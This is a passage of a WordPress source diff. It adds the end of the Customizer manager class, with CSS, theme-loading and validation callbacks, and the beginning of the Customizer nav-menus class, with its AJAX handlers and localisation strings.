+			'title'              => __( 'Additional CSS' ),
+			'priority'           => 200,
+			'description_hidden' => true,
+			'description'        => $section_description,
+		) );
+
+		$custom_css_setting = new WP_Customize_Custom_CSS_Setting( $this, sprintf( 'custom_css[%s]', get_stylesheet() ), array(
+			'capability' => 'edit_css',
+			'default' => '',
+		) );
+		$this->add_setting( $custom_css_setting );
+
+		$this->add_control( new WP_Customize_Code_Editor_Control( $this, 'custom_css', array(
+			'label'       => __( 'CSS code' ),
+			'section'     => 'custom_css',
+			'settings'    => array( 'default' => $custom_css_setting->id ),
+			'code_type'   => 'text/css',
+			'input_attrs' => array(
+				'aria-describedby' => 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4',
+			),
+		) ) );
+	}
+
+	/**
+	 * Return whether there are published pages.
+	 *
+	 * Used as active callback for static front page section and controls.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @returns bool Whether there are published (or to be published) pages.
+	 */
+	public function has_published_pages() {
+
+		$setting = $this->get_setting( 'nav_menus_created_posts' );
+		if ( $setting ) {
+			foreach ( $setting->value() as $post_id ) {
+				if ( 'page' === get_post_type( $post_id ) ) {
+					return true;
+				}
+			}
+		}
+		return 0 !== count( get_pages() );
+	}
+
+	/**
+	 * Add settings from the POST data that were not added with code, e.g. dynamically-created settings for Widgets
+	 *
+	 * @since 4.2.0
+	 *
+	 * @see add_dynamic_settings()
+	 */
+	public function register_dynamic_settings() {
+		$setting_ids = array_keys( $this->unsanitized_post_values() );
+		$this->add_dynamic_settings( $setting_ids );
+	}
+
+	/**
+	 * Load themes into the theme browsing/installation UI.
+	 *
+	 * @since 4.9.0
+	 */
+	public function handle_load_themes_request() {
+		check_ajax_referer( 'switch_themes', 'nonce' );
+
+		if ( ! current_user_can( 'switch_themes' ) ) {
+			wp_die( -1 );
+		}
+
+		if ( empty( $_POST['theme_action'] ) ) {
+			wp_send_json_error( 'missing_theme_action' );
+		}
+		$theme_action = sanitize_key( $_POST['theme_action'] );
+		$themes = array();
+		$args = array();
+
+		// Define query filters based on user input.
+		if ( ! array_key_exists( 'search', $_POST ) ) {
+			$args['search'] = '';
+		} else {
+			$args['search'] = sanitize_text_field( wp_unslash( $_POST['search'] ) );
+		}
+
+		if ( ! array_key_exists( 'tags', $_POST ) ) {
+			$args['tag'] = '';
+		} else {
+			$args['tag'] = array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['tags'] ) );
+		}
+
+		if ( ! array_key_exists( 'page', $_POST ) ) {
+			$args['page'] = 1;
+		} else {
+			$args['page'] = absint( $_POST['page'] );
+		}
+
+		require_once ABSPATH . 'wp-admin/includes/theme.php';
+
+		if ( 'installed' === $theme_action ) {
+
+			// Load all installed themes from wp_prepare_themes_for_js().
+			$themes = array( 'themes' => wp_prepare_themes_for_js() );
+			foreach ( $themes['themes'] as &$theme ) {
+				$theme['type'] = 'installed';
+				$theme['active'] = ( isset( $_POST['customized_theme'] ) && $_POST['customized_theme'] === $theme['id'] );
+			}
+
+		} elseif ( 'wporg' === $theme_action ) {
+
+			// Load WordPress.org themes from the .org API and normalize data to match installed theme objects.
+			if ( ! current_user_can( 'install_themes' ) ) {
+				wp_die( -1 );
+			}
+
+			// Arguments for all queries.
+			$wporg_args = array(
+				'per_page' => 100,
+				'fields' => array(
+					'screenshot_url' => true,
+					'description' => true,
+					'rating' => true,
+					'downloaded' => true,
+					'downloadlink' => true,
+					'last_updated' => true,
+					'homepage' => true,
+					'num_ratings' => true,
+					'tags' => true,
+					'parent' => true,
+					// 'extended_author' => true, @todo: WordPress.org throws a 500 server error when this is here.
+				),
+			);
+
+			$args = array_merge( $wporg_args, $args );
+
+			if ( '' === $args['search'] && '' === $args['tag'] ) {
+				$args['browse'] = 'new'; // Sort by latest themes by default.
+			}
+
+			// Load themes from the .org API.
+			$themes = themes_api( 'query_themes', $args );
+			if ( is_wp_error( $themes ) ) {
+				wp_send_json_error();
+			}
+
+			// This list matches the allowed tags in wp-admin/includes/theme-install.php.
+			$themes_allowedtags = array_fill_keys(
+				array( 'a', 'abbr', 'acronym', 'code', 'pre', 'em', 'strong', 'div', 'p', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'img' ),
+				array()
+			);
+			$themes_allowedtags['a'] = array_fill_keys( array( 'href', 'title', 'target' ), true );
+			$themes_allowedtags['acronym']['title'] = true;
+			$themes_allowedtags['abbr']['title'] = true;
+			$themes_allowedtags['img'] = array_fill_keys( array( 'src', 'class', 'alt' ), true );
+
+			// Prepare a list of installed themes to check against before the loop.
+			$installed_themes = array();
+			$wp_themes = wp_get_themes();
+			foreach ( $wp_themes as $theme ) {
+				$installed_themes[] = $theme->get_stylesheet();
+			}
+			$update_php = network_admin_url( 'update.php?action=install-theme' );
+
+			// Set up properties for themes available on WordPress.org.
+			foreach ( $themes->themes as &$theme ) {
+				$theme->install_url = add_query_arg( array(
+					'theme'    => $theme->slug,
+					'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ),
+				), $update_php );
+
+				$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
+				$theme->author      = wp_kses( $theme->author, $themes_allowedtags );
+				$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
+				$theme->description = wp_kses( $theme->description, $themes_allowedtags );
+				$theme->tags        = implode( ', ', $theme->tags );
+				$theme->stars       = wp_star_rating( array(
+					'rating' => $theme->rating,
+					'type' => 'percent',
+					'number' => $theme->num_ratings,
+					'echo' => false,
+				) );
+				$theme->num_ratings = number_format_i18n( $theme->num_ratings );
+				$theme->preview_url = set_url_scheme( $theme->preview_url );
+
+				// Handle themes that are already installed as installed themes.
+				if ( in_array( $theme->slug, $installed_themes, true ) ) {
+					$theme->type = 'installed';
+				} else {
+					$theme->type = $theme_action;
+				}
+
+				// Set active based on customized theme.
+				$theme->active = ( isset( $_POST['customized_theme'] ) && $_POST['customized_theme'] === $theme->slug );
+
+				// Map available theme properties to installed theme properties.
+				$theme->id           = $theme->slug;
+				$theme->screenshot   = array( $theme->screenshot_url );
+				$theme->authorAndUri = $theme->author;
+				// The .org API can return the full parent theme details if passed the 'parent' arg, or if passed the 'template' option it'll return that in the event it's a child theme.
+				if ( isset( $theme->parent ) ) {
+					$theme->parent = $theme->parent['slug'];
+				} else {
+					$theme->parent = false;
+				}
+				unset( $theme->slug );
+				unset( $theme->screenshot_url );
+				unset( $theme->author );
+			} // End foreach().
+		} // End if().
+
+		/**
+		 * Filters the theme data loaded in the customizer.
+		 *
+		 * This allows theme data to be loading from an external source,
+		 * or modification of data loaded from `wp_prepare_themes_for_js()`
+		 * or WordPress.org via `themes_api()`.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @see wp_prepare_themes_for_js()
+		 * @see themes_api()
+		 * @see WP_Customize_Manager::__construct()
+		 *
+		 * @param array                $themes  Nested array of theme data.
+		 * @param array                $args    List of arguments, such as page, search term, and tags to query for.
+		 * @param WP_Customize_Manager $manager Instance of Customize manager.
+		 */
+		$themes = apply_filters( 'customize_load_themes', $themes, $args, $this );
+
+		wp_send_json_success( $themes );
+	}
+
+
+	/**
+	 * Callback for validating the header_textcolor value.
+	 *
+	 * Accepts 'blank', and otherwise uses sanitize_hex_color_no_hash().
+	 * Returns default text color if hex color is empty.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $color
+	 * @return mixed
+	 */
+	public function _sanitize_header_textcolor( $color ) {
+		if ( 'blank' === $color )
+			return 'blank';
+
+		$color = sanitize_hex_color_no_hash( $color );
+		if ( empty( $color ) )
+			$color = get_theme_support( 'custom-header', 'default-text-color' );
+
+		return $color;
+	}
+
+	/**
+	 * Callback for validating a background setting value.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $value Repeat value.
+	 * @param WP_Customize_Setting $setting Setting.
+	 * @return string|WP_Error Background value or validation error.
+	 */
+	public function _sanitize_background_setting( $value, $setting ) {
+		if ( 'background_repeat' === $setting->id ) {
+			if ( ! in_array( $value, array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat' ) ) ) {
+				return new WP_Error( 'invalid_value', __( 'Invalid value for background repeat.' ) );
+			}
+		} elseif ( 'background_attachment' === $setting->id ) {
+			if ( ! in_array( $value, array( 'fixed', 'scroll' ) ) ) {
+				return new WP_Error( 'invalid_value', __( 'Invalid value for background attachment.' ) );
+			}
+		} elseif ( 'background_position_x' === $setting->id ) {
+			if ( ! in_array( $value, array( 'left', 'center', 'right' ), true ) ) {
+				return new WP_Error( 'invalid_value', __( 'Invalid value for background position X.' ) );
+			}
+		} elseif ( 'background_position_y' === $setting->id ) {
+			if ( ! in_array( $value, array( 'top', 'center', 'bottom' ), true ) ) {
+				return new WP_Error( 'invalid_value', __( 'Invalid value for background position Y.' ) );
+			}
+		} elseif ( 'background_size' === $setting->id ) {
+			if ( ! in_array( $value, array( 'auto', 'contain', 'cover' ), true ) ) {
+				return new WP_Error( 'invalid_value', __( 'Invalid value for background size.' ) );
+			}
+		} elseif ( 'background_preset' === $setting->id ) {
+			if ( ! in_array( $value, array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) {
+				return new WP_Error( 'invalid_value', __( 'Invalid value for background size.' ) );
+			}
+		} elseif ( 'background_image' === $setting->id || 'background_image_thumb' === $setting->id ) {
+			$value = empty( $value ) ? '' : esc_url_raw( $value );
+		} else {
+			return new WP_Error( 'unrecognized_setting', __( 'Unrecognized background setting.' ) );
+		}
+		return $value;
+	}
+
+	/**
+	 * Export header video settings to facilitate selective refresh.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $response Response.
+	 * @param WP_Customize_Selective_Refresh $selective_refresh Selective refresh component.
+	 * @param array $partials Array of partials.
+	 * @return array
+	 */
+	public function export_header_video_settings( $response, $selective_refresh, $partials ) {
+		if ( isset( $partials['custom_header'] ) ) {
+			$response['custom_header_settings'] = get_header_video_settings();
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Callback for validating the header_video value.
+	 *
+	 * Ensures that the selected video is less than 8MB and provides an error message.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Error $validity
+	 * @param mixed $value
+	 * @return mixed
+	 */
+	public function _validate_header_video( $validity, $value ) {
+		$video = get_attached_file( absint( $value ) );
+		if ( $video ) {
+			$size = filesize( $video );
+			if ( 8 < $size / pow( 1024, 2 ) ) { // Check whether the size is larger than 8MB.
+				$validity->add( 'size_too_large',
+					__( 'This video file is too large to use as a header video. Try a shorter video or optimize the compression settings and re-upload a file that is less than 8MB. Or, upload your video to YouTube and link it with the option below.' )
+				);
+			}
+			if ( '.mp4' !== substr( $video, -4 ) && '.mov' !== substr( $video, -4 ) ) { // Check for .mp4 or .mov format, which (assuming h.264 encoding) are the only cross-browser-supported formats.
+				$validity->add( 'invalid_file_type', sprintf(
+					/* translators: 1: .mp4, 2: .mov */
+					__( 'Only %1$s or %2$s files may be used for header video. Please convert your video file and try again, or, upload your video to YouTube and link it with the option below.' ),
+					'<code>.mp4</code>',
+					'<code>.mov</code>'
+				) );
+			}
+		}
+		return $validity;
+	}
+
+	/**
+	 * Callback for validating the external_header_video value.
+	 *
+	 * Ensures that the provided URL is supported.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Error $validity
+	 * @param mixed $value
+	 * @return mixed
+	 */
+	public function _validate_external_header_video( $validity, $value ) {
+		$video = esc_url_raw( $value );
+		if ( $video ) {
+			if ( ! preg_match( '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#', $video ) ) {
+				$validity->add( 'invalid_url', __( 'Please enter a valid YouTube URL.' ) );
+			}
+		}
+		return $validity;
+	}
+
+	/**
+	 * Callback for sanitizing the external_header_video value.
+	 *
+	 * @since 4.7.1
+	 *
+	 * @param string $value URL.
+	 * @return string Sanitized URL.
+	 */
+	public function _sanitize_external_header_video( $value ) {
+		return esc_url_raw( trim( $value ) );
+	}
+
+	/**
+	 * Callback for rendering the custom logo, used in the custom_logo partial.
+	 *
+	 * This method exists because the partial object and context data are passed
+	 * into a partial's render_callback so we cannot use get_custom_logo() as
+	 * the render_callback directly since it expects a blog ID as the first
+	 * argument. When WP no longer supports PHP 5.3, this method can be removed
+	 * in favor of an anonymous function.
+	 *
+	 * @see WP_Customize_Manager::register_controls()
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return string Custom logo.
+	 */
+	public function _render_custom_logo_partial() {
+		return get_custom_logo();
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-nav-menus.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-nav-menus.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-nav-menus.php	(revision 56912)
@@ -0,0 +1,1440 @@
+<?php
+/**
+ * WordPress Customize Nav Menus classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.3.0
+ */
+
+/**
+ * Customize Nav Menus class.
+ *
+ * Implements menu management in the Customizer.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Manager
+ */
+final class WP_Customize_Nav_Menus {
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 4.3.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Original nav menu locations before the theme was switched.
+	 *
+	 * @since 4.9.0
+	 * @var array
+	 */
+	protected $original_nav_menu_locations;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $manager An instance of the WP_Customize_Manager class.
+	 */
+	public function __construct( $manager ) {
+		$this->manager = $manager;
+		$this->original_nav_menu_locations = get_nav_menu_locations();
+
+		// See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L469-L499
+		add_action( 'customize_register', array( $this, 'customize_register' ), 11 );
+		add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 );
+		add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 3 );
+		add_action( 'customize_save_nav_menus_created_posts', array( $this, 'save_nav_menus_created_posts' ) );
+
+		// Skip remaining hooks when the user can't manage nav menus anyway.
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			return;
+		}
+
+		add_filter( 'customize_refresh_nonces', array( $this, 'filter_nonces' ) );
+		add_action( 'wp_ajax_load-available-menu-items-customizer', array( $this, 'ajax_load_available_items' ) );
+		add_action( 'wp_ajax_search-available-menu-items-customizer', array( $this, 'ajax_search_available_items' ) );
+		add_action( 'wp_ajax_customize-nav-menus-insert-auto-draft', array( $this, 'ajax_insert_auto_draft_post' ) );
+		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_templates' ) );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'available_items_template' ) );
+		add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) );
+		add_action( 'customize_preview_init', array( $this, 'make_auto_draft_status_previewable' ) );
+
+		// Selective Refresh partials.
+		add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 );
+	}
+
+	/**
+	 * Adds a nonce for customizing menus.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array $nonces Array of nonces.
+	 * @return array $nonces Modified array of nonces.
+	 */
+	public function filter_nonces( $nonces ) {
+		$nonces['customize-menus'] = wp_create_nonce( 'customize-menus' );
+		return $nonces;
+	}
+
+	/**
+	 * Ajax handler for loading available menu items.
+	 *
+	 * @since 4.3.0
+	 */
+	public function ajax_load_available_items() {
+		check_ajax_referer( 'customize-menus', 'customize-menus-nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_die( -1 );
+		}
+
+		$all_items = array();
+		$item_types = array();
+		if ( isset( $_POST['item_types'] ) && is_array( $_POST['item_types'] ) ) {
+			$item_types = wp_unslash( $_POST['item_types'] );
+		} elseif ( isset( $_POST['type'] ) && isset( $_POST['object'] ) ) { // Back compat.
+			$item_types[] = array(
+				'type' => wp_unslash( $_POST['type'] ),
+				'object' => wp_unslash( $_POST['object'] ),
+				'page' => empty( $_POST['page'] ) ? 0 : absint( $_POST['page'] ),
+			);
+		} else {
+			wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' );
+		}
+
+		foreach ( $item_types as $item_type ) {
+			if ( empty( $item_type['type'] ) || empty( $item_type['object'] ) ) {
+				wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' );
+			}
+			$type = sanitize_key( $item_type['type'] );
+			$object = sanitize_key( $item_type['object'] );
+			$page = empty( $item_type['page'] ) ? 0 : absint( $item_type['page'] );
+			$items = $this->load_available_items_query( $type, $object, $page );
+			if ( is_wp_error( $items ) ) {
+				wp_send_json_error( $items->get_error_code() );
+			}
+			$all_items[ $item_type['type'] . ':' . $item_type['object'] ] = $items;
+		}
+
+		wp_send_json_success( array( 'items' => $all_items ) );
+	}
+
+	/**
+	 * Performs the post_type and taxonomy queries for loading available menu items.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $type   Optional. Accepts any custom object type and has built-in support for
+	 *                         'post_type' and 'taxonomy'. Default is 'post_type'.
+	 * @param string $object Optional. Accepts any registered taxonomy or post type name. Default is 'page'.
+	 * @param int    $page   Optional. The page number used to generate the query offset. Default is '0'.
+	 * @return WP_Error|array Returns either a WP_Error object or an array of menu items.
+	 */
+	public function load_available_items_query( $type = 'post_type', $object = 'page', $page = 0 ) {
+		$items = array();
+
+		if ( 'post_type' === $type ) {
+			$post_type = get_post_type_object( $object );
+			if ( ! $post_type ) {
+				return new WP_Error( 'nav_menus_invalid_post_type' );
+			}
+
+			if ( 0 === $page && 'page' === $object ) {
+				// Add "Home" link. Treat as a page, but switch to custom on add.
+				$items[] = array(
+					'id'         => 'home',
+					'title'      => _x( 'Home', 'nav menu home label' ),
+					'type'       => 'custom',
+					'type_label' => __( 'Custom Link' ),
+					'object'     => '',
+					'url'        => home_url(),
+				);
+			} elseif ( 'post' !== $object && 0 === $page && $post_type->has_archive ) {
+				// Add a post type archive link.
+				$items[] = array(
+					'id'         => $object . '-archive',
+					'title'      => $post_type->labels->archives,
+					'type'       => 'post_type_archive',
+					'type_label' => __( 'Post Type Archive' ),
+					'object'     => $object,
+					'url'        => get_post_type_archive_link( $object ),
+				);
+			}
+
+			// Prepend posts with nav_menus_created_posts on first page.
+			$posts = array();
+			if ( 0 === $page && $this->manager->get_setting( 'nav_menus_created_posts' ) ) {
+				foreach ( $this->manager->get_setting( 'nav_menus_created_posts' )->value() as $post_id ) {
+					$auto_draft_post = get_post( $post_id );
+					if ( $post_type->name === $auto_draft_post->post_type ) {
+						$posts[] = $auto_draft_post;
+					}
+				}
+			}
+
+			$posts = array_merge( $posts, get_posts( array(
+				'numberposts' => 10,
+				'offset'      => 10 * $page,
+				'orderby'     => 'date',
+				'order'       => 'DESC',
+				'post_type'   => $object,
+			) ) );
+
+			foreach ( $posts as $post ) {
+				$post_title = $post->post_title;
+				if ( '' === $post_title ) {
+					/* translators: %d: ID of a post */
+					$post_title = sprintf( __( '#%d (no title)' ), $post->ID );
+				}
+				$items[] = array(
+					'id'         => "post-{$post->ID}",
+					'title'      => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ),
+					'type'       => 'post_type',
+					'type_label' => get_post_type_object( $post->post_type )->labels->singular_name,
+					'object'     => $post->post_type,
+					'object_id'  => intval( $post->ID ),
+					'url'        => get_permalink( intval( $post->ID ) ),
+				);
+			}
+		} elseif ( 'taxonomy' === $type ) {
+			$terms = get_terms( $object, array(
+				'child_of'     => 0,
+				'exclude'      => '',
+				'hide_empty'   => false,
+				'hierarchical' => 1,
+				'include'      => '',
+				'number'       => 10,
+				'offset'       => 10 * $page,
+				'order'        => 'DESC',
+				'orderby'      => 'count',
+				'pad_counts'   => false,
+			) );
+			if ( is_wp_error( $terms ) ) {
+				return $terms;
+			}
+
+			foreach ( $terms as $term ) {
+				$items[] = array(
+					'id'         => "term-{$term->term_id}",
+					'title'      => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
+					'type'       => 'taxonomy',
+					'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name,
+					'object'     => $term->taxonomy,
+					'object_id'  => intval( $term->term_id ),
+					'url'        => get_term_link( intval( $term->term_id ), $term->taxonomy ),
+				);
+			}
+		}
+
+		/**
+		 * Filters the available menu items.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param array  $items  The array of menu items.
+		 * @param string $type   The object type.
+		 * @param string $object The object name.
+		 * @param int    $page   The current page number.
+		 */
+		$items = apply_filters( 'customize_nav_menu_available_items', $items, $type, $object, $page );
+
+		return $items;
+	}
+
+	/**
+	 * Ajax handler for searching available menu items.
+	 *
+	 * @since 4.3.0
+	 */
+	public function ajax_search_available_items() {
+		check_ajax_referer( 'customize-menus', 'customize-menus-nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_die( -1 );
+		}
+
+		if ( empty( $_POST['search'] ) ) {
+			wp_send_json_error( 'nav_menus_missing_search_parameter' );
+		}
+
+		$p = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 0;
+		if ( $p < 1 ) {
+			$p = 1;
+		}
+
+		$s = sanitize_text_field( wp_unslash( $_POST['search'] ) );
+		$items = $this->search_available_items_query( array( 'pagenum' => $p, 's' => $s ) );
+
+		if ( empty( $items ) ) {
+			wp_send_json_error( array( 'message' => __( 'No results found.' ) ) );
+		} else {
+			wp_send_json_success( array( 'items' => $items ) );
+		}
+	}
+
+	/**
+	 * Performs post queries for available-item searching.
+	 *
+	 * Based on WP_Editor::wp_link_query().
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments.
+	 * @return array Menu items.
+	 */
+	public function search_available_items_query( $args = array() ) {
+		$items = array();
+
+		$post_type_objects = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
+		$query = array(
+			'post_type'              => array_keys( $post_type_objects ),
+			'suppress_filters'       => true,
+			'update_post_term_cache' => false,
+			'update_post_meta_cache' => false,
+			'post_status'            => 'publish',
+			'posts_per_page'         => 20,
+		);
+
+		$args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1;
+		$query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0;
+
+		if ( isset( $args['s'] ) ) {
+			$query['s'] = $args['s'];
+		}
+
+		$posts = array();
+
+		// Prepend list of posts with nav_menus_created_posts search results on first page.
+		$nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' );
+		if ( 1 === $args['pagenum'] && $nav_menus_created_posts_setting && count( $nav_menus_created_posts_setting->value() ) > 0 ) {
+			$stub_post_query = new WP_Query( array_merge(
+				$query,
+				array(
+					'post_status' => 'auto-draft',
+					'post__in' => $nav_menus_created_posts_setting->value(),
+					'posts_per_page' => -1,
+				)
+			) );
+			$posts = array_merge( $posts, $stub_post_query->posts );
+		}
+
+		// Query posts.
+		$get_posts = new WP_Query( $query );
+		$posts = array_merge( $posts, $get_posts->posts );
+
+		// Create items for posts.
+		foreach ( $posts as $post ) {
+			$post_title = $post->post_title;
+			if ( '' === $post_title ) {
+				/* translators: %d: ID of a post */
+				$post_title = sprintf( __( '#%d (no title)' ), $post->ID );
+			}
+			$items[] = array(
+				'id'         => 'post-' . $post->ID,
+				'title'      => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ),
+				'type'       => 'post_type',
+				'type_label' => $post_type_objects[ $post->post_type ]->labels->singular_name,
+				'object'     => $post->post_type,
+				'object_id'  => intval( $post->ID ),
+				'url'        => get_permalink( intval( $post->ID ) ),
+			);
+		}
+
+		// Query taxonomy terms.
+		$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'names' );
+		$terms = get_terms( $taxonomies, array(
+			'name__like' => $args['s'],
+			'number'     => 20,
+			'offset'     => 20 * ($args['pagenum'] - 1),
+		) );
+
+		// Check if any taxonomies were found.
+		if ( ! empty( $terms ) ) {
+			foreach ( $terms as $term ) {
+				$items[] = array(
+					'id'         => 'term-' . $term->term_id,
+					'title'      => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
+					'type'       => 'taxonomy',
+					'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name,
+					'object'     => $term->taxonomy,
+					'object_id'  => intval( $term->term_id ),
+					'url'        => get_term_link( intval( $term->term_id ), $term->taxonomy ),
+				);
+			}
+		}
+
+		// Add "Home" link if search term matches. Treat as a page, but switch to custom on add.
+		if ( isset( $args['s'] ) ) {
+			$title = _x( 'Home', 'nav menu home label' );
+			$matches = function_exists( 'mb_stripos' ) ? false !== mb_stripos( $title, $args['s'] ) : false !== stripos( $title, $args['s'] );
+			if ( $matches ) {
+				$items[] = array(
+					'id'         => 'home',
+					'title'      => $title,
+					'type'       => 'custom',
+					'type_label' => __( 'Custom Link' ),
+					'object'     => '',
+					'url'        => home_url(),
+				);
+			}
+		}
+
+		/**
+		 * Filters the available menu items during a search request.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param array $items The array of menu items.
+		 * @param array $args  Includes 'pagenum' and 's' (search) arguments.
+		 */
+		$items = apply_filters( 'customize_nav_menu_searched_items', $items, $args );
+
+		return $items;
+	}
+
+	/**
+	 * Enqueue scripts and styles for Customizer pane.
+	 *
+	 * @since 4.3.0
+	 */
+	public function enqueue_scripts() {
+		wp_enqueue_style( 'customize-nav-menus' );
+		wp_enqueue_script( 'customize-nav-menus' );
+
+		$temp_nav_menu_setting      = new WP_Customize_Nav_Menu_Setting( $this->manager, 'nav_menu[-1]' );
+		$temp_nav_menu_item_setting = new WP_Customize_Nav_Menu_Item_Setting( $this->manager, 'nav_menu_item[-1]' );
+
+		$num_locations = count( get_registered_nav_menus() );
+		if ( 1 === $num_locations ) {
+			$locations_description = __( 'Your theme can display menus in one location.' );
+		} else {
+			/* translators: %s: number of menu locations */
+			$locations_description = sprintf( _n( 'Your theme can display menus in %s location.', 'Your theme can display menus in %s locations.', $num_locations ), number_format_i18n( $num_locations ) );
+		}
+
+		// Pass data to JS.
+		$settings = array(
+			'allMenus'             => wp_get_nav_menus(),
+			'itemTypes'            => $this->available_item_types(),
+			'l10n'                 => array(
+				'untitled'               => _x( '(no label)', 'missing menu item navigation label' ),
+				'unnamed'                => _x( '(unnamed)', 'Missing menu name.' ),
+				'custom_label'           => __( 'Custom Link' ),
+				'page_label'             => get_post_type_object( 'page' )->labels->singular_name,
+				/* translators: %s:      menu location */
+				'menuLocation'           => _x( '(Currently set to: %s)', 'menu' ),
+				'locationsTitle'         => 1 === $num_locations ? __( 'Menu Location' ) : __( 'Menu Locations' ),
+				'locationsDescription'   => $locations_description,
+				'menuNameLabel'          => __( 'Menu Name' ),
+				'newMenuNameDescription' => __( 'If your theme has multiple menus, giving them clear names will help you manage them.' ),
+				'itemAdded'              => __( 'Menu item added' ),
+				'itemDeleted'            => __( 'Menu item deleted' ),
+				'menuAdded'              => __( 'Menu created' ),
+				'menuDeleted'            => __( 'Menu deleted' ),
+				'movedUp'                => __( 'Menu item moved up' ),
+				'movedDown'              => __( 'Menu item moved down' ),
+				'movedLeft'              => __( 'Menu item moved out of submenu' ),
+				'movedRight'             => __( 'Menu item is now a sub-item' ),
+				/* translators: &#9656; is the unicode right-pointing triangle, and %s is the section title in the Customizer */
+				'customizingMenus'       => sprintf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ),
+				/* translators: %s: title of menu item which is invalid */
+				'invalidTitleTpl'        => __( '%s (Invalid)' ),
+				/* translators: %s: title of menu item in draft status */
+				'pendingTitleTpl'        => __( '%s (Pending)' ),
+				'itemsFound'             => __( 'Number of items found: %d' ),
+				'itemsFoundMore'         => __( 'Additional items found: %d' ),
+				'itemsLoadingMore'       => __( 'Loading more results... please wait.' ),
+				'reorderModeOn'          => __( 'Reorder mode enabled' ),
+				'reorderModeOff'         => __( 'Reorder mode closed' ),
+				'reorderLabelOn'         => esc_attr__( 'Reorder menu items' ),
+				'reorderLabelOff'        => esc_attr__( 'Close reorder mode' ),
+			),
+			'settingTransport'     => 'postMessage',
+			'phpIntMax'            => PHP_INT_MAX,
+			'defaultSettingValues' => array(
+				'nav_menu'      => $temp_nav_menu_setting->default,
+				'nav_menu_item' => $temp_nav_menu_item_setting->default,
+			),
+			'locationSlugMappedToName' => get_registered_nav_menus(),
+		);
+
+		$data = sprintf( 'var _wpCustomizeNavMenusSettings = %s;', wp_json_encode( $settings ) );
+		wp_scripts()->add_data( 'customize-nav-menus', 'data', $data );
+
+		// This is copied from nav-menus.php, and it has an unfortunate object name of `menus`.
+		$nav_menus_l10n = array(
+			'oneThemeLocationNoMenus' => null,
+			'moveUp'       => __( 'Move up one' ),
+			'moveDown'     => __( 'Move down one' ),
+			'moveToTop'    => __( 'Move to the top' ),
+			/* translators: %s: previous item name */
+			'moveUnder'    => __( 'Move under %s' ),
+			/* translators: %s: previous item name */
+			'moveOutFrom'  => __( 'Move out from under %s' ),
+			/* translators: %s: previous item name */
+			'under'        => __( 'Under %s' ),
+			/* translators: %s: previous item name */
+			'outFrom'      => __( 'Out from under %s' ),
+			/* translators: 1: item name, 2: item position, 3: total number of items */
+			'menuFocus'    => __( '%1$s. Menu item %2$d of %3$d.' ),
+			/* translators: 1: item name, 2: item position, 3: parent item name */
+			'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ),
+		);
